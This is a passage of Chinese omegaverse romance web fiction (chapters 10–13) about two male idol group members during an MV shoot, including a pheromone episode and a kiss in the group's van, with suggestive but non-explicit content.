方柏嘉眨巴眨巴眼,唯有震撼:“?”
他这么高大一男的,虽说挺瘦,但也有快一百三十斤,就这么轻松被汤昼恒拿捏小猫小狗似的提溜起来,整个人悬空几秒又被放下了?
方柏嘉感觉到一种人生的虚幻。
汤昼恒把他重新圈进怀里,双手在他腰后交扣。
“躺好,”他像是在和方柏嘉谈条件,声线很温和平静,“就几分钟了。”
说这话时,却依然隔着至少两层毯子戳着怀里的人。
“……”
方柏嘉仿佛被人点了穴,浑身僵硬地呆在那里,想动又不敢动。
等一下,汤昼恒是……了吗?
方柏嘉莫名闹了个大红脸,这下是真的老实了,腰身塌下去,低下脸,乖乖窝在对方温度偏高的怀中睁大眼睛,好一会儿都屏着气,连呼吸也不敢用力。
尽管这样说很奇怪,但或许是之前那次一直都是他在主动,加上这回也是他有求于人,最近已经麻烦汤昼恒帮了不少忙,以至于方柏嘉甚至都忽略了,自己也是会引起对方的生/理变化的。
但是,这种两个人对着举行升/旗仪式还要装不知道的感觉也太怪了。
方柏嘉羞得不想说话,脑袋蹭蹭,将自己的下半张脸慢慢沉进毯子里。
脑子里各种杂七杂八的思绪乱飞,不知不觉也熬到了一次“治疗”结束。
从汤昼恒身上坐起来的那一刻,方柏嘉有种灵魂都要出窍了的虚脱感。
真是一次对意志力的巨大折磨与考验。
在这之后没多久,外卖就送到了。
两人坐在餐桌边面对面地吃晚饭,方柏嘉输了一下午的液,喉咙深处到现在还苦,为了不让自己饿着肚子,勉强吃了些。
汤昼恒没有久待,用完餐,临走前顺道把剩下的垃圾打包带下楼扔了。
接下来的好几天,方柏嘉都在后悔自己当时的决定。
而这种悔恨感往往在他每天早上对着镜子贴上一张全新的阻隔贴时最为强烈。
他使用的阻隔贴是微针一体款,贴剂中间布满细小的针头,只要一按,下沉的微针就会将抑制信息素分泌的药物注射进腺体内部。
方柏嘉的皮肤本来就在愈合中,还要反复遭受针刺这类的机械性损伤,痛上加痛不说,每天摘下阻隔贴,被遮住的地方都又红又痒又烫,不知道是不是心理作用,总感觉恢复得越来越慢。
每到这个时候,方柏嘉都觉得自己的脑子一定是被驴踢了,早知道听汤昼恒的多好,考虑那么多,最后承受一切的不还是他自己。
怎么每次事情一和对方有关,他就净干蠢事。
唯一值得安慰的,是那天林主任给他开了足够口服一个月的抗生素,应该不用担心伤口感染的问题。
紧接着,拍摄MV的日子很快来了。
11. 第 11 章
这天早上,方柏嘉四点就起了床。
他睡眼惺忪地洗漱完,照旧对着镜子呲牙咧嘴地贴上阻隔贴,收拾了一下,便和公司大部队集合,出发前往郊外的一处废弃工厂取景地。
——今天是拍摄主打MV的第三天,前两天都是棚拍,由今天开始转到外景。
当日的时间安排很紧凑,成员们双脚一落地,就开始马不停蹄地换衣服做妆造,早餐也是直接点的外卖送到现场。
汤昼恒最先完成妆容,已经在拍了。
方柏嘉被排在个人拍摄的第二位,刚给饮品插上吸管喝了两口,就被化妆师叫去化妆。
说来也还勉强算是幸运,他之前还在发愁脖子上的伤到了正式录制时该怎么找理由,去了一趟医院查出不对,有汤昼恒帮他向公司解释,反倒成了正当借口,可以戴着阻隔贴录制。
反正现在也很流行把阻隔贴做成各种风格的装饰,让造型师用颜料、纱布之类的给他DIY一下,大家只会以为这是特色。
好不容易从头发到脖子地武装完毕,方柏嘉总算可以去一旁的临时餐桌上给自己塞点绿叶子菜。
为了上镜效果,成员们吃的早餐清一色全是减脂餐加各种花里胡哨的冰美式。所有人的餐盒和咖啡杯摆在一起,看起来很有迷惑性。
方柏嘉拎起一杯观察标签,是他点的那款,瞧了眼杯身,也没喝多少,不疑有他,抓起来就狂灌两口。
这时汤昼恒刚好结束个人拍摄回来,估计正口渴着,也到桌边拿饮料喝。翻了半圈,硬是没看到要找的东西。
旁边在玩手机的陆翰音注意到这点,往桌上瞧了瞧。
看见捧着咖啡杯的方柏嘉,立刻“哎?”了一声,从自己那边变戏法般地举起一杯多的,对他道:“你这杯在我这儿呢,你喝的谁的?”
陆翰音顿了顿:“该不会是汤哥的吧?”
正含着吸管走神的方柏嘉差点把刚喝进嘴里的冰美式喷出来。
他将杯子拿远,猛烈地咳嗽几声,下意识反驳:“怎么可能!我的杯子刚才就放这块的。”
“因为杭泽宇的咖啡洒了啊……”陆翰音挠头,“弄得到处都是的,擦干净之后东西都放乱了——哦,你刚才在化妆,可能没看见。”
方柏嘉听了这话还不死心,接过陆翰音手里那杯看了看,居然和他点的口味一样。
真的拿错了?!
方柏嘉的心一下提起来,对着自己刚刚含过的吸管呆住了。
完了,现在两杯都被他玷污过了。而且汤昼恒这杯既然已经拆封,就说明对方之前也喝过,所以他咬了汤昼恒用过的吸管……
咦。又不是没互相吃过口水,他现在在莫名害羞个什么劲啊!
方柏嘉转头看向汤昼恒,却发现对方也正垂眼看着他手里盛满大半棕色液体的塑料杯。
“那个,我不小心喝到了你的……”他讪讪地把手往前递了递,心想汤昼恒似乎没有洁癖,应该不至于就这么把这一杯都扔了吧?
这时,导演那边的工作人员来喊方柏嘉上场。
实在来不及,方柏嘉只能先把杯子放在桌面,冲“失主”做了个抱歉的手势:“要不……你去问问别人哪里还有干净的吸管?”
他一边往外走一边双手合十:“实在不行再点一杯吧,钱我回来出,不好意思。”
话落,马不停蹄地跟着工作人员跑了。
*
虽然刚刚发生了一些尴尬事件,方柏嘉还是很快进入状态,投入到今天的工作当中。
拍到一半,有一个镜头,是他站在废弃工厂二楼走廊上的脸部特写。
“风格稍微强烈一点,要是那种比较不屑,冷感,但又时刻关注着镜头的感觉,‘虽然我不说,但我知道你被我吸引到了’,类似这样的状态。”
“做个鬼脸,吐舌头的时候把你的舌钉露出来,到时候特写会慢慢推近到舌钉上面,然后转场。”
方柏嘉还在听导演讲解,余光里,几名队友正从斜对面的楼梯上走过来,看样子是已经化完妆过来围观。
一看里面个子最高的就知道,汤昼恒也来了。
方柏嘉一瞬间有点紧张,下意识将舌头抵住上颚,感受着特殊形状的金属物体在软肉上划过的存在感。
“知道了。”视线收回,他做了个OK的手势。
第一遍拍摄过后,导演却并不是那么满意。
“总觉得好像还差了一点什么。”男人嘶了一声,手扶着下巴,“表情做得很完美,但没有达到预想的效果,感觉有点……空空的。”
他手在面前的空气里转了圈。
说实话,方柏嘉也是这个感觉。
一群人对着回放研究起来。
汤昼恒盯着监视器看了半晌,忽然开口:“一定要把舌钉露出来的话,用道具辅助一下怎么样?”
“道具?比如呢?”
“比如,”汤昼恒顿了一下,“用棒棒糖。”
他比划了个大概的手势:“这样含在嘴里,刚好可以卡着舌头,稍微仰头就能看到,而且不会很夸张。”
听他这么一说,方柏嘉立刻露出思考的神色。
眉梢一动,忽然被唤起了什么回忆,忍不住对着汤昼恒多看了一眼。
结果对方也正朝他这里瞥过来。两人撞了个正着,对视了一秒才又各自若无其事地移开。
“可以。”导演想了想,表示可以一试,叫了助手过来,到处去问在场的工作人员有没有带棒棒糖。
结果还真的找到了。
拍摄再次开始。
方柏嘉站在半明半暗的走廊上,慢慢从黑暗处来到光线下方。
监视器后,不知是谁发出一声低叹:“哦——”
为了这次的专辑,方柏嘉赶在概念照开拍前就去染了头发。
走出来的人一头光污染般浅浅的彩虹发色,低饱和,高明度,额前刘海快要触及上睑,目光冷淡中又带有一丝睥睨,神态气质好似幽灵。
伸缩炮快速旋转推进,方柏嘉抬起手臂,稍许仰头,将已拆封的棒棒糖含入口中。
湿润晶莹的舌头微微伸出,抵住滚圆的球体。
半张的口唇间,反射出亮光的金属带钻物体一闪而过。
镜头没有错过这个异象,不断拉近,锁定住它。
——是一枚雪花形状的舌钉。
它凝聚在众人眼前小小一方监视器中,被灯光一照,变得愈发璀璨夺目。
方柏嘉眼皮微闪,目光始终注视镜头。
“卡!表现得很好。”导演喊停的同时,周围几人同时发出促狭的怪叫。
“好帅啊!”
“男神男神!”
这帮人总是这样,会在其他队友耍帅的时候故意起哄。
方柏嘉在原地翻了个白眼,走过来看拍摄效果。
这一看回放,丞绪也禁不住感叹:“哇,果然是柏嘉的那个味道。”
吃糖这个动作本身很日常,却在方柏嘉刻意放慢的动作演绎与镜头放大下显出一点矜持而不过火的闷骚。
不会明显到让人觉得不适,又刚好足够引发联想。
方柏嘉是什么味道?
平时不会刻意显露,甚至有些高冷到让你觉得只可远观不可亵玩,却又总是“不经意”地在各种地方给你暗示,用冷淡的神态做着诱惑的事情。
用粉丝的话来说,叫做外冷内骚。
导演扶着下巴点头:“完全把我想要的感觉诠释出来了,很到位。尤其是最后这个眼神,感觉像在色/诱屏幕前的人一样,有点暗暗的期待,但是又故作冷酷,就很高级。”
“……”导演您小学作文应该写得很不错吧。这什么形容。
方柏嘉无力吐槽,脸上还隐隐有点发热。
天晓得他刚才对着镜头咬住糖果时起码有三分之一的魂都是飘的。
一想到汤昼恒就在监视器后注视着自己,方柏嘉就感到一丝放不开手脚的不自在。
不知道那人在听到导演说“色/诱屏幕前的人”时会不会联想到自己身上。
汤昼恒会有一瞬觉得自己也是这个画面的受众吗?
他在向导演提出建议时,是否也想到了在医院里,他买给方柏嘉、又亲手喂给他的那根棒棒糖?
这只是一件不起眼的小事,却是他们二人共有的经历。因为此刻在场的其他人都不知情,而被隐晦地添上了不一样的色彩。
像共同拥有一个秘密。
也不清楚是他太敬业,还是汤昼恒的出现恰好起到了推动效果,尽管方柏嘉的思绪差点就被对方的到来搅乱了,但拍摄出来的成果还是意外的很不错。
方柏嘉跑去一旁补妆,几个队友还在交头接耳。
“粉丝到时候绝对会疯的。”江白树边看边摇头,“我已经想象到这个镜头到时候被截成动图在微博上被几万转的样子了。”
“这种风格也太酷了!”陆翰
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音握紧了拳头一脸向往,“什么时候我也能有个类似的场景,啊好想要,导演——”
他开始大叫。
很酷……吗。
一旁懒散不语的汤昼恒闻言回过头,若有所思地看着监视器上定格在最后一幕的画面。
半遮半露的舌钉、和殷红的糖果形成鲜明色彩对比的淡粉舌肉,似乎都在向观众传递着某些信息。
明明就很色/情。
*
二十分钟后,方柏嘉终于完成了个人录制。
后面很长一段时间都没他的事,方柏嘉出了镜头就在场地里到处晃悠,最后干脆跑去围观工作人员搭建后面集体拍摄要用到的布景。
为了搭配废弃工厂荒凉陈旧的氛围,这次布景采用的材料很多也是金属质地的管道与木材。
方柏嘉正在另一侧看人调整轨道,耳边冷不防一阵嘈杂传来,然后是附近其他人的交谈。
“怎么回事?”
“好像是有东西掉下来,砸到人了。”
不明就里的方柏嘉跟着几名工作人员一起赶过去,又在距离被砸到的人只有几步的地方一个急刹,停了下来。
空气里飘来的淡淡血腥气中,掺入了大量比血更浓重的信息素的味道,如同张牙舞爪的蜂群一般笼罩住了来人。
仿佛一记重拳捶在胸口,方柏嘉脑袋里顿时“嗡”的一下,浮上一种呼吸不上来的心悸感,视线也变得有点模糊。
周遭的人群中同样传出骚动,不知是谁在大声提醒:“Omega和alpha都先离开,beta留下来帮忙!”
相隔只有两三米远,对于方柏嘉来说却像隔了层雾。
四肢再度变得酸软无力,却又有什么地方微妙地和在练习室里晕倒那次不太相同,他暗道一声糟糕,知道自己状态不对,转身就往他们来时乘坐的保姆车那儿走。
身上忽冷忽热,方柏嘉晕头转向,进车后的第一反应是凭借直觉找到汤昼恒的座位,拿起对方穿过的外套披上。
这不是方柏嘉第一次偷偷摸摸了,旁边没有别人,他干得熟练而肆无忌惮,尽可能地让熟悉的气味包围自己,好缓解那一阵又一阵涌上来的恶心。
随后倒在后座,迷迷瞪瞪地思索着自救方法。
据他对生理知识的了解,这种由受到外界刺激导致体内激素剧烈波动引起的不适通常都是短期的,尽管发作的时候会相当难受,但熬一熬也能过去。毕竟易感期几天时间都能挺过来。
——可易感期好歹有药吃,他现在什么也没有,能一样吗?
要不搞点抑制剂来。
上哪搞?他现在连爬出车子都费劲。
而且他也根本不想让别人看见自己这副样子。
方柏嘉此刻的脑内像有两个小人在对话,念头一个接一个地往外冒。
想来想去,还是叫汤昼恒来吧。
都帮了好几次了,再帮一次又能怎样。
方柏嘉下意识去掏口袋。
手软脚软地摸索半天,连根毛都没摸着,他这才清醒了一下,想起自己现在穿着的是为了拍MV特意换好的造型,他的手机一直放在化妆间里,没带来。
这下想联系都没门了,靠!
碰上这种倒霉情况,真是喝凉水都塞牙。
方柏嘉懊恼地呜咽一声,将头埋进身上属于另一个人的外套里。
又因为难受而不断大口呼吸着,整个人尽可能地蜷缩成一团。
……
他感觉自己的意识正处在清醒与模糊的边缘,几乎感受不到时间的流动,又仿佛度过的每一秒都被拉成十分钟那样漫长。
不知过了多久,车子一侧的门忽然被人从外边拉开。
新鲜的微凉空气溢入车厢,挤走了些许浓郁的甜香。
听到动静,方柏嘉露在外边的腿动了动。像还没反应过来似的,一颗脑袋烦躁地往外套里躲进更深。
直到那人关上车门,在他面前半蹲下来,拽了拽方柏嘉盖着的衣服。
方柏嘉又痛又烦得不行,警惕心上来,立刻就想发作,刚怒气冲冲地探出头,却发现来的人是汤昼恒。
那人低头看他,五官眉眼如国墨山水画般浓淡相宜。
“……”
方柏嘉当即泄了气,胸膛低低地沉下来,一下躺倒回座椅,手背捂住眼睛,像觉得自己现在的样子很糟糕似的,嗓音闷闷哑哑地抱怨。
“你怎么不等我死了才来。”
12. 第 12 章
汤昼恒:“。”
以二人之间的关系,这不像是方柏嘉能说的话。
放在平常脑子还转得动的时刻,方柏嘉一定不会这么没大没小,但他现在难受得魂不附体,干脆也就暴露本性,却没意识到自己听起来竟有那么一丝的……委屈。
好像汤昼恒是什么他很亲近的、可以抱怨的人似的。
诡异的是,汤昼恒似乎也没察觉出这层不对,很没必要地为自己辩解:“我在里面,没注意到外面发生了什么——你还好吗?要不要我抱你一会?”
当然不好,当然需要。
方柏嘉神情恹恹,皮肤潮红,看起来刚出过汗,最贴近额头的一层发丝也沾上细微的湿意。
见汤昼恒向他靠近,便也很配合地勾着对方的脖颈,借着来人的力坐起来。
汤昼恒给他顺气一般捋着他的背,刻意释放出大量自己的信息素来安抚。
理论上说,这个时候,任何一个额外的alpha的信息素入侵都会加重方柏嘉的不适症状,这也是方柏嘉之前在现场为什么那么急切地逃走。
但汤昼恒不同。
他已经标记过对方,在对方的体内留下过自己的痕迹。这相当于“合格证明”,表示他的气味是被方柏嘉所容纳并接受的。当方柏嘉遭到外界干扰,他的信息素就可以起到很好的调节的作用。
就像天然的药。
至于是春/药还是治疗用药……大概两者都有。
被对方不经意碰到腿的瞬间,方柏嘉忍不住抖了抖,从唇间发出轻哼。
汤昼恒:“你脖子那里有颜料,我就不碰了,否则到时候还要卸了重画。先这样,看看有没有用……”
就在他说到“没有用”的时候。
刚才还目光涣散、行动迟缓的方柏嘉倏而凑上前来,没有任何技巧地碾了碾他的嘴唇。
“……”仿佛被小狗突然舔了一下,汤昼恒的话音微妙地顿住。
这感觉,怎么和易感期那会儿那么像。
他目光垂下,看见方柏嘉慢慢移开一点,随后又飞快地贴上来,再亲了他第二次。
这回停留的时间稍长,大概多了那么两三秒,方柏嘉的动作也变大,迷迷糊糊含着汤昼恒的唇瓣,完全依借本能地用牙齿去咬,去吮,很快便伸出一点舌头,试探着舔起了汤昼恒的唇缝,从齿间吐出模糊湿润的一句。
“给我……你的信息素。”
汤昼恒不松开嘴,方柏嘉越是变本加厉,舌尖有一下没一下地重重顶着对方双唇间的那条缝隙。
确定了,的确和易感期一模一样。
方柏嘉的动作过于热情,反而让汤昼恒明白了些什么,毕竟平时的方柏嘉绝对不会不打招呼就上来亲他——不,对方平时根本不会亲他。
从上个星期“治疗”时的情况看,方柏嘉似乎并不怎么想和他有这类比较暧昧的亲密接触。
汤昼恒本意是想,既然如此,要是只通过近距离拥抱和释放信息素就能达到效果的话,那也尽量能不多动就不多动。
然而方柏嘉忽然又这样表现,让他颇有点拿不定主意。
一阵令人心痒的湿润温热间,骤然有什么和黏膜组织不同的坚硬质感从他唇上撩动着划过,汤昼恒微微一怔,意识到这是方柏嘉的那枚舌钉。
几十分钟前看到的画面猝地自脑海中闪现,他感觉自己被酥麻麻地烫了一下,唇关不由自主便被叩开,被方柏嘉长驱直入。
柔软的舌肉在口腔内部刮搔,卷着另一个人相同的部位笨拙地搅动。
方柏嘉到底是被那枚帮他撬开大门的金属装饰物所拖累,没有戴着舌钉接吻的经验,进出时好几次被对方的齿尖挂住。
每到这时,两人的动作都会同时停顿一下。
方柏嘉注意到这点,舌头动得越来越慢,加上他本来就头晕使不上力,没过一会儿,更是一边亲一边喘,还没怎么激烈热吻,口鼻间呼出的气息就重得吓人,跟被什么了似的。
汤昼恒听了一会儿,实在忍无可忍,扶着方柏嘉腰的手腕处的青筋隆起,稍微用力地捧住这人的后脑勺,挤开他的舌头亲了回去。
“唔……”迟疑间最开始的主权优势也挥霍殆尽,方柏嘉轻哼一声,感觉到汤昼恒有力的舌尖扫过舌面,一下一下,不停拨弄着他那小巧而带有花纹的多边形舌钉。
起初似乎只是觉得好玩,随后又慢慢带上认真的味道,围着他又深又重地绕圈。
像能体会到他的不安与难受一样,每一个举动都散发着令人感到安心与温暖的信号。
方柏嘉不知不觉沉浸其中,生理上的本能压过理智,像在沙漠中长期奔走后终于遇到梦寐以求的绿洲,让人无法也不想说不。
一片黏腻的吮吸声与窸窣低响中,他伸手勾住对方的脖颈,一边认真地接吻,一边慢慢从沙发座椅上跪立起来,一个翻身跨坐在汤昼恒的身上。
汤昼恒双手下移,探进他的外套,隔着里面的内搭轻轻抚摸他的腰线。
……
结果又像上次那样,两个人都有了反/应。
汤昼恒的舌头一退出来,方柏嘉就赶紧退到最边上的角落里背靠着门,把对方掉到地上的外套重新捡起来,盖在自己身上。
实在是不能再亲了,再亲下去很难收场。
方柏嘉今天这套装扮的下身是一条布料偏硬的深色阔腿牛仔裤,前襟的地方又紧又没什么弹性,把他勒得人都快要爆炸。
反观车里的另一个人,似乎也比他好不到哪儿去。
由于戴着阻隔贴,方柏嘉身上几乎没有信息素溢出,在汤昼恒进来之前,车内的气味甚至可以用干净来形容。
然而十几分钟过去,如今的车厢内部完全充斥着汤昼恒的信息素气味,不知道的还以为自己来到了栽满了树的樱桃果园。
汤昼恒摇下他那侧的窗户,手臂搭在窗边,把脸半探出去透气。
过了一会儿,又挪到最前边,把车内的换气功能打开。
方柏嘉脸烧得通红,分不清病的和亲出来的哪个成分更大,晕乎乎地把脸贴在窗户上降温。
一阵旷野上的冷风灌进车厢,冲着他笔直而来,扑在方柏嘉裸露的面庞上,凉得他打了个激灵,也瞬间吹去了某种燥热。
那种迷离的感觉散去之后,方柏嘉很快恢复了大半的清醒状态,一想到自己在车上的所作所为,臊得脑袋顶差点冒烟。
“好点了吗?”汤昼恒突然回过头来问他。
方柏嘉本来懒洋洋又没劲地缩在车门内壁和沙发椅靠背的夹角里坐着,听到对方的话,冷不丁梗起脖子,身体也坐直了。
和汤昼恒对视一眼,目光马上错开:“……好多了。谢谢你。”
这下又不是刚才说“死了才来”的时候了。
汤昼恒的唇角勾了勾,刚想说“不用谢”,却见方柏嘉的视线持续望着一旁的前排座椅背部,别别扭扭地侧对着他说:“你的嘴巴……”
嘴巴?
汤昼恒一顿,从裤子的口袋里拿出手机看了一眼。
原来是刚才亲得太用力,导致嘴上的妆都花了。
在方柏嘉看来,汤昼恒是那种剑眉星目的正统浓颜帅哥,标准演员脸,退可青春男大,进可精忠报国,中间是偶像剧主角小时候暗恋过的邻家哥哥——早年当配角打酱油时基本就这几种角色。
他气质长相天生就很“正”,加上个头一米□□,性格再怎么有亲和力也显出距离感,属于粉丝在他面前都不敢大放厥词的类型。
然而此刻,淡色口红与唇蜜的混合物跃过唇线,蔓延到他的唇峰外侧乃至颏唇沟近处,将汤昼恒素来打理得井井有条、水波不惊的外表弄乱,这样不为人知的另一面,竟显出一种极为强烈到让人不能直视的……色/欲。
方柏嘉下意识地不敢多看他,哪怕这痕迹是出自自己的手笔。
汤昼几下对着手机前置将越位的化妆品清除干净,过了几秒转过头来,眼神在方柏嘉的嘴巴处停顿半秒,说:“你的也是。”
方柏嘉一愣。
汤昼恒:“——口红,溢出来了。”
“比我的还多。”
方柏嘉有点尴尬,当即用手快速地抹了一下,却意识到他看不见自己现在长什么样子,于是干脆曲起手指,骨节侧边粗暴地沿着整个唇周擦了两圈,被他毫不怜惜地蹂躏过的地方立刻泛起了红:“这样?”
汤昼恒没说话,只是忽然俯身过来,朝方柏嘉的脸伸出手。
方柏嘉条件反射地
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向后退了退,还是没逃开,下巴叫汤昼恒轻轻地钳住。
对方温热的拇指贴上来,沿着他上下两片唇瓣的边缘揉了两下。
方柏嘉眼睛一眨不眨,左右颤动地看他,整个人像被定住似的,好一阵才找回声音,飘忽地问:“……还有吗?”
汤昼恒收回手,笑了笑:“没有了。到时候去补一下妆吧。”
“……”一句话让方柏嘉脸烧得通红。
话是这样说,但是不亲自确认一下,方柏嘉肯定不放心。
他跟汤昼恒借来对方的手机,仔细地检查了两分钟。
估摸着车里的味道散得差不多了,汤昼恒把车窗关上一半,又看了眼手机上的时间:“离下一场拍摄还有至少两个小时,你接着在车里休息吧。不知道后边还会不会出现类似的症状,感觉还是先‘隔离’一下比较好。”
方柏嘉心有余悸地点头,突然问:“那个受伤的人怎么样了?”
他当时本来是想去看看情况的,没想到还没弄清发生了什么,自己就差点晕了。
“那个alpha?他还好。”汤昼恒说,“高处有东西没固定稳,掉下来砸到了他的手。划了个口子,没出太多血,后面被送去了医院。”
“据说他还有一周到易感期,信息素不太受控,有两个omega也受到影响,打了抑制剂。”
言下之意是,方柏嘉不是唯一一个“中招”的。
人在兴奋、惊慌等情绪波动较大的时候,身上的信息素浓度都会剧烈地波动起伏。临近生理期受伤,让那名工作人员的气味变得格外有攻击性。
方柏嘉本来就对alpha的信息素很敏感,又正在健康状态不好的时候,出现这样的意外虽然突然,但也不是完全意料不到。
方柏嘉表示自己知道了。
沉默了几秒,按捺不住好奇问他:“不过,你是怎么知道我在这里的?”
发现自己没带手机的时候,方柏嘉几乎都要绝望了。
保姆车停在距离建筑五十多米远的地方,一般不会有人过来,他这个状态又不方便出去,只能等在原地硬熬。
没想到汤昼恒居然如同隔空听到他的心声,最后还是来了,方柏嘉惊讶又感到不解,自己的运气是不是有点太好?
汤昼恒轻描淡写:“我在房子里,听到外面一直有人在吵,感觉可能发生了什么。出来问了一圈,有人告诉我你来这边了。”
汤昼恒没说,其实他早就发现方柏嘉拍完自己的part就跑了出去,担心建筑物外的喧闹和对方有关,才特意到外边去查看。
了解完事情经过,依然没看到某个人的影子。汤昼恒心里隐约有些预感,当时就在现场附近找了一名女员工询问她是否知道方柏嘉的去向。
听对方说方柏嘉原本也在现场,汤昼恒试着给方柏嘉打了两个电话,没人接,便知道他那会儿手机大概率不在身边,而且可能遇到了麻烦。
说到这里,汤昼恒看向他:“你不舒服,怎么不找个工作人员来叫我?”
“……”方柏嘉哪里记得。
当时情况紧急,他不想被人发现异样,只能赶紧找个没人打扰的地方待着,直到现在才觉出一阵后怕。
他没事倒好,要是情况危急一些,直接在车里休克了,岂不是真发生了意外也没人知道。
方柏嘉没精打采地:“我忘了。”
汤昼恒对着他瞧了几眼,也不知道在想什么,没有说话。
几分钟后,他把车窗摇上,说:“我回去一趟。”
方柏嘉看着对方下了车,却没有立刻离开,而是站在通风处吹了好一会儿的风,等着身上的味道散去。
他就这样盯着那人的背影望了好一会儿,突然间想到什么,迅速凑上去挪到窗边,将车窗玻璃降下,远远地冲着喊:“汤昼恒!汤——昼——恒——”
被他喊到名字的人回过头。
不过少顷,又走回到车边,弯身查看他的情况:“怎么了?”
方柏嘉双手扒着窗框,仰起头看他,一头淡彩的头发被沿着车边溜过去的风吹得扬起,看起来有种自然野性的美丽俊气。
然而他神情讪讪,语气中带着不好意思:“你能帮我把我的手机拿过来一下吗?”
13. 第 13 章
后面的拍摄过程都很顺利。
补妆的时候方柏嘉心虚得要命,生怕被人瞧出端倪,连就站在旁边的汤昼恒都不敢多看,目光一个劲儿地垂下来盯着地板。
但其实根本也没人发现什么。
毕竟要把“方柏嘉嘴上的口红没了”和“是和汤昼恒在车内激吻时吃掉的”联系在一起,这帮人的想象力大概要飞出银河系才做得到。
完成废弃工厂这边的所有内容,众人换了另一套造型,又一窝蜂地转去下一个取景点。
这是一处距离废弃工厂不算很远的野花地,因为旁边没有其他建筑物可以栖身,成员们连晚饭都是在外面搭棚吃的,不拍摄时就在保姆车里休息。
方柏嘉去车里拿了个东西的功夫,在外面撞上了正靠着器材说话的江白树和陆翰音。
陆翰音瞪大眼睛,冲着方柏嘉打量了下说:“你怎么穿的是汤哥的外套?”
郊外风大,晚上气温降下来,体感温度更凉,好多人都加了衣服。
方柏嘉也不例外,在没拍摄的时候都披着汤昼恒的外套,主要目的除了御寒以外,也是因为今天才出了意外,外套上有对方的气味,一定程度上可以抚慰他的情绪。
然而不知道是不是他的错觉,自从他披上了对方的外套,角落里似乎就一直有人在背着自己说悄悄话。
方柏嘉下意识拽了下外套的领口,信口胡诌:“……他的这件比较暖和。”
江白树突然开口:“你们现在关系很不错嘛?上次还说人家衣服难闻,现在连外套都穿上了,不愧是咱哥,邪恶比格都能拿下。”
说着比了个大拇指。
他这里说的“拿下”显然没有别的意思,听在心里有鬼的方柏嘉耳朵里,则完全换了一层含义,对他做了一个抬手要揍的手势:“你再瞎扯试试。就借个衣服,在那脑补什么呢?”
顿了顿,又此地无银三百两地为自己补充:“我和他关系本来也不算很差,就是一般而已,一般不熟。”
说完这话,忽见对面二人都神色诡异地沉默下来,陆翰音还在那用眼皮对他发电报。
一种熟悉的后背发凉感爬上背脊,方柏嘉回过头,只见汤昼恒刚好从另一片棚子那儿绕过来,路过这片区域。
听见几人在聊自己,他脚步一顿,神情微妙地似笑非笑。
“我是不是打扰了你们谈话?”迎着方柏嘉的目光,汤昼恒的神色看起来并没有什么异样,走过来,右手轻轻扶了一下他的肩膀。
“别闲聊了,马上要开拍了,都过来集合。”
好像根本没听见他们谈话似的,说完继续向前走。
方柏嘉快石化了:“…………”
不是,怎么每次到了这种场合都会被对方撞见啊!他身上是有什么魔咒吗?
正对面,陆翰音和江白树想笑又不敢笑,后者更是意味深长地冲方柏嘉露出个鬼脸,做了个“说坏话又被发现了吧”的口型,转身追上去走了。
方柏嘉站在原地缓了几秒,等那阵让人起鸡皮疙瘩的尴尬从身上离开,这才也迈开步伐。
*
与先前的流程正相反,轮到第二个场景,他们是先跳群舞,然后再拍个人部分。
方柏嘉从原来的头两名变成了最后一位上场,晚上八点半,排在他前面的成员都已经完工,他才从保姆车里出来准备拍摄。
路上遇到准备坐公司另一辆车回宿舍的杭泽宇和陆翰音,两人见到方柏嘉,按照惯例打了声招呼,非常同情地让方柏嘉继续加油。
方柏嘉拽着身上外套的领口,左右看看,像是在找什么人:“对了,你们见到汤昼恒没有?”
陆翰音歪头想了下:“汤哥好像刚才就和丞哥江白树他们一块儿走了吧?”
“已经走了吗?”方柏嘉挑了挑眉,有点惊讶,“可他的东西还在我那辆车里。”
“不知道,”对方很老实地摇头,“反正我是看到他和丞哥站在另一辆车边上说话,可能忘了?第二天让工作人员拿给他就好了吧。”
“……”方柏嘉说,“行吧。”
汤昼恒第二场依旧完成拍摄得很早,一般来说,结束当天任务的成员都会提前下班。
方柏嘉记挂着这件事,本想趁对方走前把衣服还给他,现在看来,只能等到明天再说。
他和两人道了别,跑去摄像机前工作。
正式下工是晚上九点出头,方柏嘉跟在场的工作人员说了一圈辛苦,钻回保姆车里。
一抬头就被吓了一跳。
本以为早就回住处休息了的汤昼恒不知怎么莫名在他旁边的位置上出现,方柏嘉进来时,他还正靠在座位上,手里捧着IPAD,看着类似行程表一样的东西。
车内灯光开得不亮,整体环境有些幽暗,IPAD发出的光微微映在对方身上,照亮了他戴着黑色框架眼镜的脸,看起来简直像个幽灵。
方柏嘉还以为自己看错,慢半拍将身后的门滑上,定睛再一瞧,却依然有个换上了休闲服饰的汤昼恒坐在那里,手指在屏幕上轻移。
见到方柏嘉进来,他抬起头,冲他扬了扬下巴示意:“完工了?”
“…………?”怎么回事,是他想的那样吗?
心脏像是猛然被人捏着小锤敲了一下,看见对方居然没走,方柏嘉的第一反应竟然是:这人该不会是为了我留下来的吧?
这念头乍一想有点自恋,但除此之外,似乎也找不到其他更多的理由。
方柏嘉保持着弯身进来的姿势愣了一愣,这才恢复如常,带着一种微妙得堪称诡异的心情在他身旁坐下。
想到自己之前还跟人说和他“不熟”,方柏嘉的心情稍微有点凌乱。
可转念一想,他在汤昼恒面前做出的尴尬事也不是这一回两回了,汤昼恒又不是那种会为了小事而生气在意的人,否则哪会专门还来等他。
心便放了下来,悄悄深吸一口气,坐到对方旁边。
等了两秒,说:“原来你还在啊?陆翰音跟我说你走了。”
汤昼恒盯着IPAD“嗯”了一声:“有点担心你的状况,所以多留了一会儿,想等你一起走。”
他语气平淡,好像说的只是一件很平常的小事。
方柏嘉猜测被证实,感觉自己的心脏又被敲了一下,但是反诈心态依然很强烈。
他忽然琢磨起来,想,这人有没有可能是故意那么说给他听的,就是为了刷自己的好感,让自己觉得他真的很贴心?
“可是,我之前都没有看着你。”
汤昼恒微微蹙起眉头,似是不解:“之前?”
“就是我要开拍的时候……”
“啊。”汤昼恒说,“我那会儿好像在和经纪人通话吧,去了别的地方——等一下。”
正说话间,汤昼恒放在面前小桌板上的手机屏幕亮起来电显示。
汤昼恒做了个暂停的手势,下去和人打起了电话,车门没关,外边隐约传来汤昼恒的说话声,谈到什么“进组”之类的,大概是其他工作上的事。
方柏嘉无聊地四下打量,忽然觉得放在对方旁边扶手上的饮料有点眼熟。
他扭脸看了眼窗外,发现汤昼恒背对着他,努嘴做了个怪表情,小心翼翼地把杯子在嵌口上转了一圈,让上面的标签对准自己。
随后,拿起来打量了下。
居然还是早上点的那一杯。一天过去还没喝完,剩下三分之一的底,也早就不冰了。
